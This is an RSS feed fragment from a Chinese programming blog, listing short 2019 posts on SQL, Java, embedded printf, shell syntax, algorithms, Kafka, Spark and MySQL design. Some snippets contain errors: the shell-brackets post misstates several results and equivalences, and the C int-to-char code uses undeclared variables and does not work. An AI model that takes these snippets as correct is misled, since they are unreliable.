      <description>先说结果：sql条件查询时 AND 优先。&#xA;sql 条件查询时 AND OR 是有优先级的。之前一直没注意，以为是同一优先级的，所以我平时写sql都会明确的在 and or 条件里边添加括号来表示作用域: （a=1 and b=1） or (a=2 and b=2)... 实际上等价于 a=1 and b=1 or a=2 and b=2&#xA;纠正我这个错误的契机是 我接手其他团队的一个项目，在看sql的过程中 ，优化了我认为是“存在重复、无用条件” 的一条sql，却导致结果输出错误，然后在调试过程中认识到的。&#xA;select * from user where name = &#34;a&#34; and age = 10 and gender=2 or gender = 1 and weight = 100 and name = &#34;a&#34; and age = 10 ##错误优化，我之前以为 and or 是同一优先级,把重复的条件去掉了。 select * from user where name = &#34;</description>
    </item>
    <item>
      <title>JAVA反射之私有属性赋值</title>
      <link>https://bchobby.github.io/posts/bad922f6208ab65c02577b7c072534cc/</link>
      <pubDate>Mon, 01 Jul 2019 09:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bad922f6208ab65c02577b7c072534cc/</guid>
      <description>案例：Map集合若有key（键）与User类中的私有属性相同，就把对应的value值赋值给该私有属性。&#xA;User类&#xA;public class User { private int id; private String name; private String sex; private String address; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public String getAddress() { return address; } public void setAddress(String address) { this.</description>
    </item>
    <item>
      <title>printf系列教程00_概述printf各种打印输出方法和相关内容</title>
      <link>https://bchobby.github.io/posts/89b21a058aad96d300450e572a4e10c7/</link>
      <pubDate>Mon, 01 Jul 2019 08:45:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89b21a058aad96d300450e572a4e10c7/</guid>
      <description>说明：&#xA;本文原创作者『strongerHuang』&#xA;首发于微信公众号『嵌入式专栏』，同时也更新在我的个人网站：EmbeddedDevelop&#xA;标签：printf、 SWD、 SWO、 SWV、 ITM、 JLink-RTT、 ST-Link、 J-Link、 仿真、 重定义、 串口映射&#xA;一、写在前面 在MCU项目中，printf主要用于打印输出一些调试信息。比如：程序执行出错，输出相关错误提示信息。&#xA;前面在我公众号『strongerHuang』分享文章《基于STM32的多种printf用法》之后，大家反响还不错。&#xA;不过那篇文章只是简单写了一下，很多人觉得可以，索性就整理成更加详细的专栏文章。&#xA;目前整理了几篇文章：&#xA;二、printf输出方式 本系列教程主要是针对MCU的printf打印输出，常见的方式：&#xA;1.UART打印输出&#xA;2.仿真打印输出&#xA;3.SWO打印输出&#xA;4.JLink-RTT打印输出&#xA;除仿真之外，其它三种都是基于MCU硬件打印输出。&#xA;从打印效率来说：UART &amp;lt; SWO &amp;lt; JLink-RTT。&#xA;每一种printf打印输出方式应用场景不同，也各有各的特点。&#xA;三、实验现象 先让大家从实验现象了解一下printf的内容，后面文章讲述具体的配置。&#xA;3.1 UART打印输出 这种printf是最常见的使用UART串口输出方式，需要占用一个硬件UART串口。&#xA;3.2 仿真打印输出 只在集成开发环境中模拟printf仿真输出，不需要连接开发板（硬件MCU）即可实现。&#xA;3.3 SWO打印输出 SWO：Serial Wire Output，串行线输出&#xA;SWD：Serial Wire Debug，串行线调试&#xA;SWV：Serial Wire Viewer，串行线查看器&#xA;SWO输出，需要多一根SWO（引脚）线，同时需要借助SWV（查看器）查看数据，我打算整理4种查看方法：&#xA;·基于Keil的『Debug(printf)Viewer』&#xA;·基于IAR的『Terminal IO』&#xA;·基于ST-LINK Utility的『Serial Wire Viewer』&#xA;·基于J-Link的『SWO Viewer』&#xA;1.基于Keil的『Debug(printf)Viewer』&#xA;2.基于IAR的『Terminal IO』&#xA;3.基于ST-LINK Utility的『Serial Wire Viewer』&#xA;4.基于J-Link的『SWO Viewer』</description>
    </item>
    <item>
      <title>【转载】PADS LAYOUT英文版菜单栏注释</title>
      <link>https://bchobby.github.io/posts/b783c0d22f119f7c0286e466a51179c7/</link>
      <pubDate>Sun, 30 Jun 2019 16:46:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b783c0d22f119f7c0286e466a51179c7/</guid>
      <description> 前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1. PADS Logic 1.1 PADS LAYOUT 封装、元件库简介 1.2 PADS LAYOUT 常用功能界面介绍 感谢原作者详细地注释。 </description>
    </item>
    <item>
      <title>聊聊面试中的过滤器与拦截器</title>
      <link>https://bchobby.github.io/posts/78bcfed49ac693bb780eb4087baa986c/</link>
      <pubDate>Sat, 29 Jun 2019 09:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78bcfed49ac693bb780eb4087baa986c/</guid>
      <description>点击上方“蓝字”&#xA;技术的故事还有很多 只想与你 静静分享 N&#xA;和&#xA;我&#xA;公众号后台回复“java”，获得作者Java 知识体系/面试必看资料&#xA;背景&#xA;做过 JavaWeb 开发的对过滤器和拦截器肯定不会陌生，而且也会熟练的使用，但是关于过滤器和拦截器具体的区别和差异可能不是特别的了解，这篇文章就跟大家介绍下过滤器和拦截器的区别。&#xA;过滤器 Filter 首先介绍下什么是过滤器，过滤器英文叫 Filter，是 JavaEE 的标准，依赖于 Servlet 容器，使用的时候是配置在 web.xml 文件中的，可以配置多个，执行的顺序是根据配置顺序从上到下。常用来配置请求编码以及过滤一些非法参数，垃圾信息或者是网站登录验证码。&#xA;&amp;lt;!-- filter --&amp;gt; &amp;lt;filter&amp;gt; &amp;lt;filter-name&amp;gt;CharacterEncodingFilter&amp;lt;/filter-name&amp;gt; &amp;lt;filter-class&amp;gt;org.springframework.web.filter.CharacterEncodingFilter&amp;lt;/filter-class&amp;gt; &amp;lt;init-param&amp;gt; &amp;lt;param-name&amp;gt;encoding&amp;lt;/param-name&amp;gt; &amp;lt;param-value&amp;gt;UTF-8&amp;lt;/param-value&amp;gt; &amp;lt;/init-param&amp;gt; &amp;lt;init-param&amp;gt; &amp;lt;param-name&amp;gt;forceEncoding&amp;lt;/param-name&amp;gt; &amp;lt;param-value&amp;gt;true&amp;lt;/param-value&amp;gt; &amp;lt;/init-param&amp;gt; &amp;lt;/filter&amp;gt; &amp;lt;filter-mapping&amp;gt; &amp;lt;filter-name&amp;gt;CharacterEncodingFilter&amp;lt;/filter-name&amp;gt; &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt; &amp;lt;/filter-mapping&amp;gt; &amp;lt;!-- filter end --&amp;gt;&#xA;&amp;lt;filter&amp;gt;&#xA;&amp;lt;filter-name&amp;gt;CharacterEncodingFilter&amp;lt;/filter-name&amp;gt;&#xA;&amp;lt;filter-class&amp;gt;org.springframework.web.filter.CharacterEncodingFilter&amp;lt;/filter-class&amp;gt;&#xA;&amp;lt;init-param&amp;gt;&#xA;&amp;lt;param-name&amp;gt;encoding&amp;lt;/param-name&amp;gt;&#xA;&amp;lt;param-value&amp;gt;UTF-8&amp;lt;/param-value&amp;gt;&#xA;&amp;lt;/init-param&amp;gt;&#xA;&amp;lt;init-param&amp;gt;&#xA;&amp;lt;param-name&amp;gt;forceEncoding&amp;lt;/param-name&amp;gt;&#xA;&amp;lt;param-value&amp;gt;true&amp;lt;/param-value&amp;gt;&#xA;&amp;lt;/init-param&amp;gt;&#xA;&amp;lt;/filter&amp;gt;&#xA;&amp;lt;filter-mapping&amp;gt;&#xA;&amp;lt;filter-name&amp;gt;CharacterEncodingFilter&amp;lt;/filter-name&amp;gt;&#xA;&amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&#xA;&amp;lt;/filter-mapping&amp;gt;&#xA;&amp;lt;!-- filter end --&amp;gt;&#xA;参考实现 public class CaptchaFilter implements Filter { public void init(FilterConfig config) throws ServletException { } public void destroy() { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; String servletPath = request.</description>
    </item>
    <item>
      <title>vscode</title>
      <link>https://bchobby.github.io/posts/e2fc805085e25c9761616c00e065bfe8/</link>
      <pubDate>Fri, 28 Jun 2019 15:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2fc805085e25c9761616c00e065bfe8/</guid>
      <description>一、代码提示功能 1、安装插件C/C++ Clang Command Adapter；&#xA;2、下载clang软件至windows并安装，勾选添加环境变量&#xA;http://releases.llvm.org/download.html&#xA;3、创建clang.exe快捷方式，复制到vscode安装目录下的./bin中。&#xA;二、code runner插件 中文乱码问题 1、ctrl+shift+p，输入setting，选择 &#34;首选项：打开设置(json)&#34;；&#xA;2、添加 &#34;code-runner.runInTerminal&#34;:true,&#xA;三、code runner插件，运行时，提示gcc不是内部或外部的命令... 1、安装MinGW64；&#xA;2、解压后将文件拷贝至clang文件夹中，中途出现冲突时，选择合并；&#xA;3、cmd，分别输入clang和gcc命令验证下。&#xA;参考：https://www.zhihu.com/question/30315894&#xA;四、光标显示，括号不显示方框 首选项——&amp;gt;editor.Match Brackets</description>
    </item>
    <item>
      <title>shell脚本各种括号 [] [[]] ()  (()) {}的含义</title>
      <link>https://bchobby.github.io/posts/a61fee4b4bc86b4a0fef20862df30170/</link>
      <pubDate>Fri, 28 Jun 2019 14:42:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a61fee4b4bc86b4a0fef20862df30170/</guid>
      <description>shell&#xA;() ①作用域。相当于C++中{}，在括号中的语句，可以使用；分隔，每句顺序执行，但是不能被括号外的语句使用其中定义的变量。&#xA;②初始化数组。array=(1 2 3) for i in ${ar[@]} do echo $i done&#xA;(()) ①进制转换。echo$((8#71))-&amp;gt;57。8表示8进制，71表示具体8进制数据，转换10进制之后是57。&#xA;②重定义变量。x=10;((x++));echo $x;输出6&#xA;③用于运算以及判断。规则上符合C语言习惯，if(($n&amp;gt;=10))等价于if [ $n -eq 10 ]。 for((i=0;i&amp;lt;10;i++))等价于for i in {0..4}&#xA;[] ①与test命令相同，-f判断是否文件，[ -f test.txt ];&#xA;②运算符比较。==和!=，&amp;lt;用于字符串比较，-gt -eq用于整数比较。-a并且，-o或者&#xA;③用于正则表达式。&#xA;④描述数组元素。ar=(1 2 3) for i in {0..2}do echo ${ar[i]} done&#xA;[[]] ①逻辑判断，例如&amp;amp;&amp;amp;、||、==等。shell脚本中可以多多使用[[]]以替代[]&#xA;{} ①变量扩展。ls -al {a..c}.txt，展示a.txt,b.txt,c.txt的详细信息&#xA;②触发变量值。例如${ar[2]}数组ar的第三号元素值&#xA;③作用域。括号中的语句，使用；分隔，顺序执行。</description>
    </item>
    <item>
      <title>jQuery的each方法</title>
      <link>https://bchobby.github.io/posts/397726966ff539072f1ceef8a993bf2a/</link>
      <pubDate>Thu, 27 Jun 2019 17:30:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/397726966ff539072f1ceef8a993bf2a/</guid>
      <description>开发工具与关键技术：Visual Studio / each方法的应用&#xA;作者：郑名方&#xA;撰写时间：2019年6月 25日&#xA;为什么说jQuery中有个重要的方法.each()，因为大部分jQuery方法在内部都会调用.each，其中主要的原因就是jQuery的实例是一个元素集合。它可以找到所以“div”，并且都设置样式，css类只是一个方法，所以内部会调用.each()方法处理这个div的集合，给每个div都设置style属性。还有jQuery的大部分方法都是有针对性地对集合进行操作，所以jQuery会提供$(selector).each()方法来遍历jQuery对象，而且.each()只是处理jQuery对象的方法，jQuery还会提供一个通用的jQuery.each()方法，用来处理对象和数组的遍历。&#xA;each就是for循环方法的一个包装，内部就是通过for遍历数组与对象，通过回调函数返回内部迭代的一些参数，第一个参数是当前迭代成员在对象或数组中的索引值(从0开始计数)，第二个参数是当前迭代成员(与this的引用相同jQuery.each()函数还会根据每次调用函数callback的返回值来决定后续动作。如果返回值为false，则停止循环(相当于普通循环中的break)；如果返回其他任何值，均表示继续执行下一个循环。&#xA;除了jQuery对象.each()方法的调用，.each()的方法还可以同DOW对象，以每一个匹配的元素作为上下文来执行一个函数。每次执行传递进来的函数时，函数中的this关键字都指向一个不同的DOW（每次都是一个不同的匹配元素）。并且，在每次执行函数时，都会给函数传递一个表示作为执行环境的元素在匹配的元素集合中所处位置的数字值作为参数（从零开始的整型）。返回”false”将停止循环（就像在普通的循环中使用”break”）。返回”true”跳至下一个循环（就像在普通的循环中使用“continue”）。&#xA;代码图片来源老师。</description>
    </item>
    <item>
      <title>C&#43;&#43;实现的Prim算法（最小生成树）</title>
      <link>https://bchobby.github.io/posts/1014329baa4b81bc139a8c408b53195d/</link>
      <pubDate>Thu, 27 Jun 2019 17:26:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1014329baa4b81bc139a8c408b53195d/</guid>
      <description>1. 最小生成树&#xA;是一个在给定的无向图G（V，E）中求出一棵树T，使得这棵树拥有图G中的所有有顶点，且所有边都是来自于图G中的边，并且满足这棵树的边权之和是最小的&#xA;对于最小生成树需要掌握以下三个性质：&#xA;① 最小生成树是树，因此其边数是等于顶点数减1，而且树内一定不会有环&#xA;② 对于给定的图G（V，E）其最小生成树可以是不唯一的，但是边权这个是唯一的&#xA;③ 由于最小生成树是在无向图中产生的，所以其根节点可以是这棵树上的任意一个节点，于是题目中涉及了最小生成树的输出为了让最小生成树是唯一的，一般都是直接给出根节点&#xA;求解最小生成树的算法有两种，即Kruskal算法与prim算法，这两个算法都是采用了贪心的策略，只是贪心的策略是不一样&#xA;2. 下面使用的是prim算法求解最小生成树的过程，prim算法与Dijkstra算法是很类似的，只是有一个地方存在差别，就是d[]数组记录的含义是不一样的，Dijkstra算法中的是源点到其余顶点的最短距离，而这里的是顶点vi到集合S之间的距离&#xA;下面是算法的执行过程：&#xA;① 每次都是从集合V-S中选择与集合S最近的一个顶点，集合S中的顶点存放的是已经被访问过的顶点，将这个顶点记录为u，访问u并且将其加入到集合S中，同时将这条离集合S的边加入到生成树中&#xA;② 令顶点u作为集合S与集合V-S连接的接口，优化从u能够到未访问顶点与集合S的最短距离&#xA;其实对于上面的算法，我自己的理解是是否需要更新到当前顶点的距离，每一次都是选择d[]中最小的而且未被访问过的顶点，然后决定是否更新到其余顶点的距离，所以d数组的含义也可以这样理解，其他顶点到当前我这个顶点的最短距离是多少&#xA;3. 下面是C++代码写的代码：&#xA;#include&amp;lt;cstdio&amp;gt; #include&amp;lt;iostream&amp;gt; using namespace std; const int maxSize = 1000; const int INF = 2147483647; int n, m, G[maxSize][maxSize]; int d[maxSize]; bool vis[maxSize] = {false}; int prim(){ fill(d, d + maxSize, INF); d[0] = 0; int ans = 0; for(int i = 0; i &amp;lt; n; i++){ int u = -1, min = INF; for(int j = 0; j &amp;lt; n; j++){ if(vis[j] == false &amp;amp;&amp;amp; d[j] &amp;lt; min){ u = j; min = d[j]; } } //找不到小于INF的d[u]则剩下的顶点和集合s不连通 if(u == -1) return -1; vis[u] = true; ans += d[u]; for(int v = 0; v &amp;lt; n; v++){ if(vis[v] == false &amp;amp;&amp;amp; G[u][v] !</description>
    </item>
    <item>
      <title>Kafka 及 PyKafka 的使用</title>
      <link>https://bchobby.github.io/posts/ff367f53eb10dcd5deef18364d68da06/</link>
      <pubDate>Thu, 27 Jun 2019 16:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff367f53eb10dcd5deef18364d68da06/</guid>
      <description>Kafka 及 PyKafka 的使用</description>
    </item>
    <item>
      <title>python使用kafka</title>
      <link>https://bchobby.github.io/posts/464136a8a38fd36e2c13afd0570caa2e/</link>
      <pubDate>Wed, 26 Jun 2019 16:42:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/464136a8a38fd36e2c13afd0570caa2e/</guid>
      <description>python使用kafka</description>
    </item>
    <item>
      <title>C语言int类型转换为char类型</title>
      <link>https://bchobby.github.io/posts/b846c0f269746b0ad630f81419e5bad2/</link>
      <pubDate>Tue, 25 Jun 2019 22:58:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b846c0f269746b0ad630f81419e5bad2/</guid>
      <description> /***************int类型转换为char类型*****************/ void IntOrChar(int x) { char a[]={&#34;0&#34;}; char wan,qian,bai,shi,ge,index; wan=x/10000; qian=x%10000/1000; bai=x%10000%1000/100; shi=x%10000%1000%100/10; ge=x%10000%1000%100%10; a[0]=wan; a[1]=qian; a[2]=bai; a[3]=shi; a[4]=ge; } void main(void) { IntOrChar(12345); for(index=0;index&amp;lt;5;index++) { printf(&#34;%s&#34;,a[index]); } } </description>
    </item>
    <item>
      <title>Chain replication for supporting high throughput and availavility</title>
      <link>https://bchobby.github.io/posts/a2c8c86ebd59da5044523cfed3291536/</link>
      <pubDate>Tue, 25 Jun 2019 21:47:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2c8c86ebd59da5044523cfed3291536/</guid>
      <description>Chain replication是一种备份协议，用于支持大规模存储（更多是kv存储），获取高吞吐量和高可用性同时提供强一致性保障，提供分布式存储服务。链式备份本质上是主从备份的一种更高效的复用。</description>
    </item>
    <item>
      <title>React ant design表格导出数据为EXCEL表格数据</title>
      <link>https://bchobby.github.io/posts/43837f45dafb845a36c9f77bf253c9e7/</link>
      <pubDate>Tue, 25 Jun 2019 21:23:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43837f45dafb845a36c9f77bf253c9e7/</guid>
      <description>一、由于公司项目需要,需要将表格数据导出为EXCEL表格数据。环境React+Ant Design&#xA;二、安装插件js-export-excel&#xA;yarn安装-记得以管理员身份执行 yarn add js-export-excel npm安装 npm install js-export-excel 三、代码事例&#xA;页面先引入安装的插件&#xA;import ExportJsonExcel from &#39;js-export-excel&#39;; 按钮：&#xA;return ( &amp;lt;div&amp;gt; &amp;lt;Button onClick={this.downloadExcel}&amp;gt;导出Excel表格&amp;lt;/Button&amp;gt; &amp;lt;/div&amp;gt; ) 调用：&#xA;downloadExcel = () =&amp;gt; { const datas = this.state.data ? this.state.data : &#39;&#39;;//表格数据 var option={}; let dataTable = []; if (datas) { for (const data in datas) { if(data){ let obj = { id: data.id, organization_code: data.organization_code, organization_name: data.organization_name, } dataTable.push(obj); } } } option.</description>
    </item>
    <item>
      <title>剑指Offer：30 连续子数组的最大和(最大子列和)</title>
      <link>https://bchobby.github.io/posts/3d8f963ff925f590e927abefc2e400f3/</link>
      <pubDate>Tue, 25 Jun 2019 20:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d8f963ff925f590e927abefc2e400f3/</guid>
      <description>最大子列和问题，陈越老师的数据结构课第一节里就讲过，照着原来的代码写一遍发现出了问题：&#xA;1、一开始忘了初始化maxSum，导致里面是一个随机且很大的数，所以出错。&#xA;2、处理了问题1之后，只通过了1/3的case，原因是都为负数的时候返回值为0。&#xA;class Solution { public: int FindGreatestSumOfSubArray(vector&amp;lt;int&amp;gt; array) { int n = array.size(); if(array.empty()) return 0; int thisSum =0, maxSum = 0; for(int i=0; i&amp;lt;n; i++) { thisSum += array[i]; if(thisSum &amp;gt; maxSum){ maxSum = thisSum; } else if(thisSum&amp;lt;0){ thisSum = 0; } } return maxSum; } }; 照搬原来的代码行不通了，需要在原来的代码基础上改进。&#xA;看了书上的动态规划的思路，对之前的“在线式”算法，作了一些改动，即可通过。&#xA;class Solution { public: int FindGreatestSumOfSubArray(vector&amp;lt;int&amp;gt; array) { int n = array.size(); if(array.empty()) return 0; int curMaxSum =array[0], maxSum = array[0]; for(int i=1; i&amp;lt;n; i++) { if(curMaxSum&amp;lt;=0){ curMaxSum = array[i]; if(maxSum&amp;lt;array[i]) maxSum = array[i]; } else{ curMaxSum += array[i]; if(curMaxSum&amp;gt;maxSum) maxSum = curMaxSum; } } return maxSum; } }; 当然书上的代码写法更简洁，尤其是初始值选取的很恰当：</description>
    </item>
    <item>
      <title>Ubuntu开机无法进入图形界面，自动进入emergency mode解决方法</title>
      <link>https://bchobby.github.io/posts/7b8ab69fc434d874853290a42aa3f258/</link>
      <pubDate>Tue, 25 Jun 2019 18:55:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b8ab69fc434d874853290a42aa3f258/</guid>
      <description>ubuntu进入时显示You are in emergency mode，如下图：&#xA;出现此种情况原因是挂载的磁盘出现了问题，一般强制重启或者更改挂载会出现此问题。&#xA;1、直接在此界面输入密码，enter进入系统。&#xA;2、通过命令$ journalctl -xb 查看日志输出，搜索关键字 “fsck failed”（输入/，然后输入关键字后回车，通过N/n查看上一个/下一个匹配项），查找是哪块出现问题，如果没看出来，再进行下一步。&#xA;3、输入命令 $ vim /etc/fstab ，检查磁盘挂载信息，看看都用了哪块磁盘，然后依次进行如下测试：&#xA;执行命令 umount /dev/xxx 卸载设备执行命令 fsck -y /dev/xxx 执行fsck校验并修复文件 而我的系统是由于我在/etc/fstab中挂载了共享文件夹导致，所以把下图这句话注释掉，reboot之后就正常了。但是不知道是什么原因导致我的系统挂载失败，重启之后重新再挂载一次之后又正常了。</description>
    </item>
    <item>
      <title>python使用kafka需要安装pykafka</title>
      <link>https://bchobby.github.io/posts/147457761342558c0bae27dbe9f88aac/</link>
      <pubDate>Tue, 25 Jun 2019 16:38:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/147457761342558c0bae27dbe9f88aac/</guid>
      <description>https://www.cnblogs.com/hopelee/p/7285340.html</description>
    </item>
    <item>
      <title>一些比较不错的资源网站</title>
      <link>https://bchobby.github.io/posts/f482c669981f16ca291421ab9436f7ec/</link>
      <pubDate>Tue, 25 Jun 2019 15:39:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f482c669981f16ca291421ab9436f7ec/</guid>
      <description>阮一峰日志地址&#xA;Github上值得推荐的开源电子书</description>
    </item>
    <item>
      <title>idea中直接运行spark程序</title>
      <link>https://bchobby.github.io/posts/704baf356642ae72c1867a9f8207b4ca/</link>
      <pubDate>Mon, 24 Jun 2019 16:04:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/704baf356642ae72c1867a9f8207b4ca/</guid>
      <description>我们可以在IDEA中直接运行spark程序，来连接服务器上的HDFS或者是spark集群来跑spark任务。&#xA;提前工作&#xA;我们需要先解决idea直接运行程序远程访问HDFS的问题。 首先下载 hadoop-common-2.6.0-bin-master.rar 压缩包（需要和服务器上的Hadoop版本对应），解压到任意目录，然后在环境变量中添加 HADOOP_HOME ，变量值为解压的位置。在 PATH 变量中添加以下值：%HADOOP_HOME%\bin ，之后确认即可，如果后面在idea中运行程序报错：&#xA;则重启一下电脑，使上面的配置生效。&#xA;本地运行&#xA;本地调试是使用本地idea中编写的代码引入的spark的相关jar包来运行spark程序，将spark程序提交到本地spark（本地并不需要安装Windows版本的spark）运行。下面是获取SparkContext的代码： val config = new SparkConf().setAppName(&#34;WordCount&#34;).setMaster(&#34;local&#34;) val sparkContext = new SparkContext(config) 一定要调用setMaster()方法，方法参数设置为local。&#xA;之后直接运行主方法就可以运行该程序。&#xA;远程运行&#xA;远程运行是指经过代码设置，idea自动将代码打包并发布到指定的远程服务器上的spark上运行，远程服务器上的spark master接受jar包，并发布给worker运行，并可以在页面上看到master和worker中程序的执行情况。下面是获取SparkContext的代码： val config = new SparkConf().setAppName(&#34;WordCount&#34;).setMaster(&#34;spark://zb2:7077&#34;) .setJars(List(&#34;target/sparkdemo-1.0-SNAPSHOT-jar-with-dependencies.jar&#34;)) .setIfMissing(&#34;spark.driver.host&#34;, &#34;172.16.72.251&#34;) val sparkContext = new SparkContext(config) 1. setMaster方法中设置远程spark服务的master地址；&#xA;2. setJars方法中传递一个Seq，里面写上jar包的位置（idea中打完jar包的位置）；&#xA;3. setIfMissing方法中设置spark驱动的机器IP地址，也就是你Windows开发电脑的IP地址。&#xA;4. 之后直接运行主方法就可以运行该程序，idea自动打包并发布到远程spark服务器。&#xA;注意：你的Windows和虚拟机里面的spark所在的linux系统（或者是linux服务器）必须能够互相ping通才行，而且都得关闭防火墙，因为他们相互之间需要通信。</description>
    </item>
    <item>
      <title>使用 idea查看类关系图形</title>
      <link>https://bchobby.github.io/posts/0585b6caf9ea3aa21b23be87fe690054/</link>
      <pubDate>Sat, 22 Jun 2019 22:47:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0585b6caf9ea3aa21b23be87fe690054/</guid>
      <description>idea使用Diagram图形查看类关系 标签：idea diagram&#xA;写在前面 最近在闲下来在看 spring 源码的时候，发现根本对 diagram 不熟，看到的类关系一脸懵逼，理解上也是烂七八糟，这次利用 idea diagram，结果真的是一目而然，好东西就要利用起来，就此分享。&#xA;1、查看图形 在 idea 中查看类关系，大家都会经常用到。步骤如下，①在类的标签页内。点击右键，选择 Diagram，其中 show 和 show …Poup,区别就是前者在新建的标签内，后者以复现的形式展示；②实际上还可以在项目目录树，对你想查看的类点击右键，同样选择 Diagrams 效果也是一样&#xA;然后就得到下面所示的继承关系，以 spring 中核心类DefaultListableBeanFactory&#xA;显而易见：&#xA;蓝色实现箭头是指继承关系&#xA;绿色虚线箭头是指接口实现关系&#xA;2、有时候需要我们优化继承链图形 2.1 去掉不关系的类 得到的继承关系图形，有些并不是我们想去了解的，比如上图的SuppressWarnings，我们只想关心Beanfactory重要的那几个继承关系，怎么办？&#xA;点击选择你想要删除的类，然后直接使用键盘上的delete键就行了。清理其他类的关系后图形如下&#xA;2、显示详细的类信息 有人说，诶，这怎么够呢，那继承下来的那些方法我也想看啊？简单，IDEA通通满足你。&#xA;在页面右键，选择 show categories，根据需要可以展开类中的属性、方法、构造方法等等；当然也可以使用工具栏&#xA;什么，方法里你还想筛选，比如说想看protected权限及以上范围的？简单，右键选择 Change Visibility Level，根据需要调整即可。&#xA;什么，你嫌图形太小你看不清楚？IDEA也可以满足你，按住键盘的Alt，竟然出现了放大镜，惊不惊喜，意不意外？&#xA;3、引入其它类 当我们还需要查看其他类和当前类是否有继承上的关系的时候，我们可以选择加其加入到当前的继承关系图形中来。&#xA;在页面点击右键，选择 Add Class to Diagram，然后输入你想加入的类就可以了：&#xA;查看具体代码 如果你想查看某个类中，比如某个方法的具体源码，当然，不可能给你展现在图形上了，不然屏幕还不得撑炸？&#xA;但是可以利用图形，或者配合IDEA的structure方便快捷地进入某个类的源码进行查看。&#xA;双击某个类后，你就可以在其下的方法列表中游走，对于你想查看的方法，选中后点击右键，选择 Jump to Source：&#xA;在进入某个类后，如果还想快速地查看该类的其他方法，还可以利用IDEA提供的structure功能：&#xA;选择左侧栏的structure之后，如上图左侧会展示该类中的所有方法，点击哪个方法，页面内容就会跳转到该方法部分去。</description>
    </item>
    <item>
      <title>mysql性能优化2 设计规范 设计原则 结构优化 拆分 配置优化 执行顺序</title>
      <link>https://bchobby.github.io/posts/d0dc634d741a215481276664d3bd1d7c/</link>
      <pubDate>Sat, 22 Jun 2019 15:47:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0dc634d741a215481276664d3bd1d7c/</guid>
      <description>一、MYSQL数据库设计规范 1、数据库命名规范 a、采用26个英文字母(区分大小写)和0-9的自然数(经常不需要)加上下划线’_&#39;组成;&#xA;b、命名简洁明确(长度不能超过30个字符);&#xA;c、例如：user, stat, log, 也可以wifi_user, wifi_stat, wifi_log给数据库加个前缀;&#xA;d、除非是备份数据库可以加0-9的自然数：user_db_20151210;&#xA;2、数据库表名命名规范 a、采用26个英文字母(区分大小写)和0-9的自然数(经常不需要)加上下划线’‘组成;&#xA;b、命名简洁明确,多个单词用下划线’&#39;分隔;&#xA;例如：user_login, user_profile, user_detail, user_role, user_role_relation,&#xA;user_role_right, user_role_right_relation&#xA;注：表前缀’user_&#39;可以有效的把相同关系的表显示在一起;&#xA;3、数据库表字段名命名规范 a、采用26个英文字母(区分大小写)和0-9的自然数(经常不需要)加上下划线’‘组成;&#xA;b、命名简洁明确,多个单词用下划线’&#39;分隔;&#xA;例如：user_login表字段 user_id, user_name, pass_word, eamil, tickit, status, mobile, add_time;&#xA;c、每个表中必须有自增主键,add_time(默认系统时间)&#xA;d、表与表之间的相关联字段名称要求尽可能的相同;&#xA;4、数据库表字段类型规范 用尽量少的存储空间来存数一个字段的数据;&#xA;例如：能使用int就不要使用varchar、char,能用varchar(16)就不要使用varchar(256);&#xA;IP地址最好使用int类型;&#xA;固定长度的类型最好使用char,例如：邮编;&#xA;能使用tinyint就不要使用smallint,int;&#xA;最好给每个字段一个默认值,最好不能为null;&#xA;5、数据库表索引规范 命名简洁明确,例如：user_login表user_name字段的索引应为user_name_index唯一索引;&#xA;为每个表创建一个主键索引;&#xA;为每个表创建合理的索引;&#xA;建立复合索引请慎重;&#xA;6、简单熟悉数据库范式 1、第一范式(1NF)：字段值具有原子性,不能再分(所有关系型数据库系统都满足第一范式);&#xA;例如：姓名字段,其中姓和名是一个整体,如果区分姓和名那么必须设立两个独立字段;&#xA;2、第二范式(2NF)：一个表必须有主键,即每行数据都能被唯一的区分;&#xA;备注：必须先满足第一范式;&#xA;3、第三范式(3NF)：一个表中不能包涵其他相关表中非关键字段的信息,即数据表不能有沉余字段;&#xA;备注：必须先满足第二范式;&#xA;备注：往往我们在设计表中不能遵守第三范式,因为合理的沉余字段将会给我们减少join的查询;&#xA;例如：相册表中会添加图片的点击数字段,在相册图片表中也会添加图片的点击数字段;&#xA;二、MYSQL数据库设计原则 1、核心原则 不在数据库做运算;&#xA;cpu计算务必移至业务层;&#xA;控制列数量(字段少而精,字段数建议在20以内);&#xA;平衡范式与冗余(效率优先；往往牺牲范式)&#xA;拒绝3B(拒绝大sql语句：big sql、拒绝大事务：big transaction、拒绝大批量：big batch);&#xA;2、字段类原则 用好数值类型(用合适的字段类型节约空间);</description>
    </item>
    <item>
      <title>nginx配置https服务</title>
      <link>https://bchobby.github.io/posts/73d182fae22ad8e3ef52e14508a362b3/</link>
      <pubDate>Sat, 22 Jun 2019 14:27:14 +0800</pubDate>
